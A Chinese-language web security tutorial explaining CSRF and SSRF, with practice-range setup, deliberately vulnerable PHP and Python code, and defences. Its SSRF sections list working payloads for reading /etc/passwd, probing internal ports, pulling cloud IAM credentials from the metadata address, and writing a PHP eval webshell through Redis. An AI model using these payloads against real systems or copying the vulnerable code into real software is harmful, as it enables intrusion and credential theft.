| 章节 | 内容 |
|---|---|
| **Part 1** | CSRF是什么 & 为何学CSRF |
| **Part 2** | 走进CSRF实战篇 |
| **Part 3** | SSRF是什么 & 为何学SSRF |
| **Part 4** | 走进SSRF实战篇 |
一、CSRF漏洞详解
1.1 什么是CSRF
CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种 Web 安全漏洞,攻击者诱导受害者在已登录的网站上执行非本意的操作。
大白话解释: 你登录了银行网站(假设是bank.com),然后攻击者发了一个链接给你。你点了这个链接后,浏览器会带着你的银行Cookie向银行发送转账请求。银行以为是你本人操作的,就执行了转账。
1.2 CSRF攻击原理
┌─────────────────────────────────────────────────────────────┐
│ CSRF攻击流程 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. 受害者登录银行网站 bank.com │
│ ↓ │
│ 2. 银行返回Cookie,保存在浏览器中 │
│ ↓ │
│ 3. 攻击者构造恶意链接: │
│ <img src="bank.com/transfer?to=hacker&money=10000"> │
│ ↓ │
│ 4. 受害者访问恶意页面,浏览器自动携带Cookie发送请求 │
│ ↓ │
│ 5. 银行验证Cookie通过,执行转账操作 │
│ │
└─────────────────────────────────────────────────────────────┘
1.3 CSRF的危害
| 危害类型 | 说明 |
|---|---|
| 修改用户资料 | 修改密码、邮箱、收货地址等 |
| 金融交易 | 转账、充值、购买商品 |
| 权限操作 | 添加/删除管理员、修改权限 |
| 隐私泄露 | 获取用户敏感信息 |
1.4 CSRF实战靶场
部署Pikachu靶场:
# Pikachu是一个专门练习Web漏洞的靶场系统
# 包含CSRF漏洞环境,适合学习CSRF攻击和防御
# 下载Pikachu
git clone https://github.com/zhuifengshaonianhanlu/pikachu.git
# 配置到本地Web服务器(如Apache/Nginx)
# 访问 http://localhost/pikachu/
1.5 CSRF攻击案例
low级别(无防护):
<!-- 攻击者构造的恶意页面 -->
<!DOCTYPE html>
<html>
<body>
<h1>恭喜获得优惠券!</h1>
<img src="http://bank.com/transfer?to=hacker&amount=10000" width="0" height="0">
</body>
</html>
medium级别(Referer检查):
# 服务端代码示例
def transfer(request):
# 获取Referer头
referer = request.headers.get('Referer')
# 检查Referer是否来自本站
if referer and referer.startswith('http://bank.com/'):
# 执行转账
return execute_transfer(request)
else:
return HttpResponse('非法请求')
# 攻击者绕过方法:构造Referer
# 让Referer看起来像来自bank.com
high级别(Token验证):
# 服务端代码示例
def transfer(request):
# 获取Token
token = request.GET.get('token')
# 验证Token
if token == request.session.get('csrf_token'):
return execute_transfer(request)
else:
return HttpResponse('Token验证失败')
# 攻击者无法获取Token,CSRF攻击失效
1.6 OWASP CSRF测试工具
# OWASP提供专门的CSRF测试工具
# 可以自动化检测和利用CSRF漏洞
# 使用Burp Suite的CSRF PoC生成功能
# 1. 拦截正常请求
# 2. 右键 -> Engagement tools -> Generate CSRF PoC
# 3. 自动生成攻击代码
1.7 CSRF防御方法
| 防御手段 | 说明 | 安全性 |
|---|---|---|
| **CSRF Token** | 随机生成Token,验证请求来源 | ⭐⭐⭐⭐⭐ |
| **SameSite Cookie** | 设置Cookie的SameSite属性 | ⭐⭐⭐⭐⭐ |
| **Referer检查** | 验证请求来源页面 | ⭐⭐⭐ |
| **验证码** | 要求用户二次确认 | ⭐⭐⭐⭐ |
| **Origin头检查** | 验证请求的Origin | ⭐⭐⭐⭐ |
最佳实践:
# 1. 使用CSRF Token
{% csrf_token %}
<form method="POST">
<input type="hidden" name="csrfmiddlewaretoken" value="{{ csrf_token }}">
...
</form>
# 2. 设置SameSite Cookie
Set-Cookie: session=xxx; SameSite=Strict; Secure
# 3. 验证Origin头
origin = request.headers.get('Origin')
if origin not in ALLOWED_ORIGINS:
return HttpResponseForbidden()
二、SSRF漏洞详解
2.1 什么是SSRF
SSRF(Server-Side Request Forgery,服务端请求伪造)是一种 Web 安全漏洞,攻击者利用服务器发起请求,访问本不该访问的内部资源。
大白话解释: 网站有一个功能,可以让用户输入一个URL来获取图片。攻击者利用这个功能,让服务器去访问内网的数据库、Redis、或者云服务的元数据接口,从而获取敏感数据。
2.2 SSRF攻击原理
┌─────────────────────────────────────────────────────────────┐
│ SSRF攻击流程 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 攻击者 ──访问图片URL──→ Web服务器 ──发起请求──→ 内网服务 │
│ ↑ │
│ │ │
│ 攻击者利用 │
│ 这个功能 │
│ │
│ 可访问的内网资源: │
│ • http://127.0.0.1:端口(本地服务) │
│ • http://192.168.x.x(内网机器) │
│ • http://10.x.x.x(AWS/阿里云元数据) │
│ • file:///etc/passwd(读取本地文件) │
│ │
└─────────────────────────────────────────────────────────────┘
2.3 SSRF的常见应用场景
| 场景 | 功能描述 | SSRF风险 |
|---|---|---|
| 图片加载 | 根据URL加载远程图片 | ⭐⭐⭐⭐⭐ |
| 文件预览 | 预览远程服务器上的文件 | ⭐⭐⭐⭐ |
| URL跳转 | 跳转到指定的URL | ⭐⭐⭐ |
| API调用 | 调用第三方API | ⭐⭐⭐⭐ |
| 邮件服务 | 从URL获取邮件内容 | ⭐⭐⭐ |
2.4 SSRF漏洞代码示例
危险代码(PHP):
<?php
// 危险:直接用用户输入的URL发起请求
$url = $_GET['url'];
// 发起请求获取图片
$image = file_get_contents($url);
// 显示图片
header('Content-Type: image/jpeg');
echo $image;
?>
<!-- 攻击payload -->
<!-- 读取本地文件 -->
http://example.com/ssrf.php?url=file:///etc/passwd
<!-- 探测内网 -->
http://example.com/ssrf.php?url=http://192.168.1.1/admin
<!-- 访问云服务元数据 -->
http://example.com/ssrf.php?url=http://169.254.169.254/latest/meta-data/
危险代码(Python):
import requests
from flask import Flask, request
app = Flask(__name__)
@app.route('/fetch')
def fetch_url():
# 危险:直接用用户输入的URL
url = request.args.get('url')
# 发起请求
response = requests.get(url)
return response.content
# 攻击payload
# /fetch?url=http://127.0.0.1:6379 (Redis)
# /fetch?url=http://localhost:22 (SSH)
# /fetch?url=file:///etc/passwd (本地文件)
2.5 SSRF内网探测
常用内网探测Payload:
# 探测本地服务
http://127.0.0.1/
http://localhost/
# 探测常见端口
http://127.0.0.1:22 # SSH
http://127.0.0.1:3306 # MySQL
http://127.0.0.1:6379 # Redis
http://127.0.0.1:27017 # MongoDB
# AWS元数据接口
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
# 阿里云元数据
http://100.100.100.200/latest/meta-data/
# 读取本地文件
file:///etc/passwd
file:///C:/Windows/win.ini
2.6 SSRF漏洞利用案例
案例1:读取云服务器敏感信息
# AWS EC2元数据接口可以获取IAM角色凭证
http://vulnerable.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 获取到凭证后,可以进一步操作AWS资源
案例2:探测内网Redis未授权访问
# Redis默认没有密码,直接访问
http://vulnerable.com/fetch?url=http://192.168.1.100:6379/
# 写入webshell
http://vulnerable.com/fetch?url=http://192.168.1.100:6379/config set dir /var/www/html
http://vulnerable.com/fetch?url=http://192.168.1.100:6379/set shell "<?php eval($_POST[x])?>"
案例3:探测内网Web服务
# 使用dict协议探测端口
http://vulnerable.com/fetch?url=dict://127.0.0.1:6379/info
# 使用gopher协议发送Redis命令
http://vulnerable.com/fetch?url=gopher://127.0.0.1:6379/_INFO
2.7 SSRF防御方法
| 防御手段 | 说明 | 实现难度 |
|---|---|---|
| **URL白名单** | 只允许访问指定的域名/IP | ⭐⭐⭐ |
| **协议限制** | 禁止file://、dict://等协议 | ⭐⭐⭐ |
| **端口限制** | 只允许访问80/443端口 | ⭐⭐ |
| **输入验证** | 验证URL格式和内容 | ⭐⭐⭐ |
| **统一错误页** | 避免泄露内部信息 | ⭐⭐ |
| **网络隔离** | 限制服务器访问内网 | ⭐⭐⭐⭐⭐ |
安全代码示例(Python):
from urllib.parse import urlparse
import re
ALLOWED_DOMAINS = ['trusted-cdn.com', 'api.mysite.com']
ALLOWED_PORTS = [80, 443]
BLOCKED_IPS = ['127.0.0.1', '0.0.0.0', '169.254.169.254']
def validate_url(url):
# 解析URL
parsed = urlparse(url)
# 检查协议
if parsed.scheme not in ['http', 'https']:
return False, "只允许HTTP/HTTPS协议"
# 检查域名白名单
if parsed.hostname not in ALLOWED_DOMAINS:
return False, "不在白名单范围内"
# 检查端口
if parsed.port and parsed.port not in ALLOWED_PORTS:
return False, "端口不被允许"
# 检查IP黑名单
if parsed.hostname in BLOCKED_IPS:
return False, "目标IP不允许访问"
return True, "验证通过"
# 使用
is_valid, msg = validate_url(user_url)
if is_valid:
response = requests.get(user_url)
else:
return HttpResponse(f"请求被拒绝: {msg}")
三、CSRF vs SSRF对比
| 特性 | CSRF | SSRF |
|---|---|---|
| **攻击目标** | 用户的浏览器 | 服务器 |
| **利用条件** | 用户已登录 | 服务器能访问内网 |
| **危害范围** | 用户数据被篡改 | 内网资源被访问 |
| **攻击方向** | 从外部攻击用户 | 从服务器攻击内网 |
| **利用协议** | 主要HTTP | HTTP/FTP/FILE/GOPHER等 |
四、实战环境搭建
4.1 Pikachu靶场
# 1. 下载Pikachu
git clone https://github.com/zhuifengshaonianhanlu/pikachu.git
# 2. 配置到PHPStudy或XAMPP
# 3. 访问 http://localhost/pikachu/
# 4. 初始化数据库
4.2 DVWA靶场
# DVWA也包含CSRF漏洞环境
git clone https://github.com/digininja/DVWA.git
# 配置到Web服务器
# 访问 http://localhost/DVWA/
4.3 常用渗透测试工具
| 工具 | 用途 |
|---|---|
| **Burp Suite** | 拦截请求、生成CSRF PoC |
| **OWASP ZAP** | 自动扫描CSRF/SSRF漏洞 |
| **sqlmap** | 检测SQL注入(可用于SSRF利用) |
| **dirb** | 探测内网路径 |
五、总结
5.1 CSRF要点
- **原理:** 利用用户已登录的身份,伪造请求
- **防御:** CSRF Token + SameSite Cookie
- **利用前提:** 用户已登录 + 点击恶意链接
5.2 SSRF要点
- **原理:** 利用服务器发起内部请求
- **防御:** URL白名单 + 协议限制 + 端口限制
- **利用前提:** 服务器能访问内部网络
5.3 面试常见问题
| 问题 | 答案 |
|---|---|
| CSRF和XSS的区别? | XSS是偷Cookie,CSRF是冒用身份 |
| CSRF为什么用Token防御? | Token随机生成,攻击者无法预测 |
| SSRF能读取文件吗? | 可以,用file://协议 |
| SSRF如何防御? | 白名单、协议限制、网络隔离 |